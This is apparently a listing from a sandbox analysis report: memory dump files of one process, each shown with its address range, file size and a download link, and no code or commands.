memory/2940-14-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2940-16-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2940-28-0x0000000001E00000-0x0000000001ED4000-memory.dmp

Filesize
848KB

Download
memory/2940-20-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2940-32-0x0000000001E00000-0x0000000001ED4000-memory.dmp

Filesize
848KB

Download
memory/2940-33-0x0000000001E00000-0x0000000001ED4000-memory.dmp

Filesize
848KB

Download
memory/2940-18-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/2940-29-0x0000000001E00000-0x0000000001ED4000-memory.dmp

Filesize
848KB

Download
memory/2940-24-0x0000000001E00000-0x0000000001ED4000-memory.dmp

Filesize
848KB

Download
memory/2940-25-0x0000000001E00000-0x0000000001ED4000-memory.dmp

Filesize
848KB

Download
memory/2940-26-0x0000000001E00000-0x0000000001ED4000-memory.dmp

Filesize
848KB

Download
memory/2940-8-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2940-10-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/2940-12-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download